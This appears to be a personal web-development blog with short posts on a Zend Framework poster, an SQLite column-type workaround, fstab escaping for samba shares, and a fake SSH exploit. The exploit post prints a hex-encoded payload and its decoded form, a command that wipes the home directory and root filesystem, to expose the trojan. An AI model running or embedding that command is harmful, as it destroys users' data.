Web Development and stuff…

Two or three weeks ago i was reading post from Bjoern Schotte. That the guys at Mayflower created a poster for Zend Framework. Seems they really love it there. And since i am a big fan myself. I send Bjoern an email to ask for an English version. If available. So some time passed. And i completely forgot about it. Until i came home yesterday and found my own personal copy of the Mayflower Zend Framework poster in the mail.

It’s a cool poster. All the most common used components are there. A nice reference to have. And a great piece of promotion material for the framework it self. Now i just need to find a good spot for it. It will be the second A0 poster hanging here. And probably not the last one. Since mister PHP security himself Stefan Esser from SektionEins is working on a PHP security poster. If you would like your own copy. Send Bjoern an email.

Thanks guys.

My coworker Chris yesterday asked me how to change a column data type in a database. He wanted to change the data type from varchar to text. So my first reaction was to shout ALTER TABLE. But i didn’t realize he was using sqlite at the moment. So after reading the docs for a while. We came to the conclusion sqlite does support the ALTER statement. But it is very limited compared to say MySQL. And it doesn’t provide the option to alter the data types or column names.

So how should you change a column data type in an sqlite database? Well as far as i can see there is not really a simple solution. But here goes for our work around.

Let’s start off by creating a test database:

sqlite3 test.db “create table sync (id INTEGER PRIMARY KEY, data VARCHAR, num double, dateIn DATE);”

And insert some test data:

sqlite3 test.db “insert into sync (data, num) values (‘This is sampledata’, 3);”
sqlite3 test.db “insert into sync (data, num) values (‘More sample data’, 6);”
sqlite3 test.db “insert into sync (data, num) values (‘And a little more’, 9);”

Now comes the trick. We first create a temporary table and populate it with the data from the table we are going to alter.

sqlite3 test.db “create table temp_table as select * from sync;”

Drop the database to alter. And after that recreate it again. But this time with the changes we wanted to make. So we change the VARCHAR field to TEXT.

sqlite3 test.db “drop table sync;”
sqlite3 test.db “create table sync (id INTEGER PRIMARY KEY, data TEXT, num double, dateIn DATE);”

The only thing left now is to populate the new database with the data from the temporary table. And finally drop the temporary table.

sqlite3 test.db “insert into sync select * from temp_table;”
sqlite3 test.db “drop table temp_table;”

There must be a cleaner way to do this. But this worked for us!

So there have been a lot of rumors lately about some remote SSH exploit. And to throw a bit of fuel on the fire some hacker / group have released what they call an exploit. This piece of code is just hilarious. At a first glance it looks like a real exploit. But when you take the time to decode the HEX blocks. It will become obvious this is not what it seems to be.

there are three blocks with HEX characters. The last two transform into some perl scripts that seem to make contact with an IRC server. This code seems to be bogus. The first and smallest HEX block is interesting though.

\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f
\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26

When decoded back to ASCII characters. This reads:

rm -rf ~ /* 2> /dev/null &

The code used for the decoding is a simple PHP script:

foreach (explode('\x', $str) as $char) echo chr(hexdec($char);

Yesterday i had to reconfigure the samba server at the office. And at the same time change some of the share names we’ve been using. One of the new names contained a space. And while setting this up on all Windows boxes i noticed no problem.

After all was finished i went to edit my fstab file so i get the new shares at boot. And after making changes to fstab i always do a simple test

sudo mount -a

This resulted in a syntax error from the fstab file

[mntent]: line 13 in /etc/fstab is bad

That’s nice. So Linux doesn’t like spaces in the share names. How strange So i tried a few escaping sequences.

’samba share’
“samba share”
samba\ share

Non of that seemed to work. So after a bit of searching found the solution. You can use an octal number format to express the ASCII symbol. In this case that’s ‘040′. And escape it with a slash.

samba\040share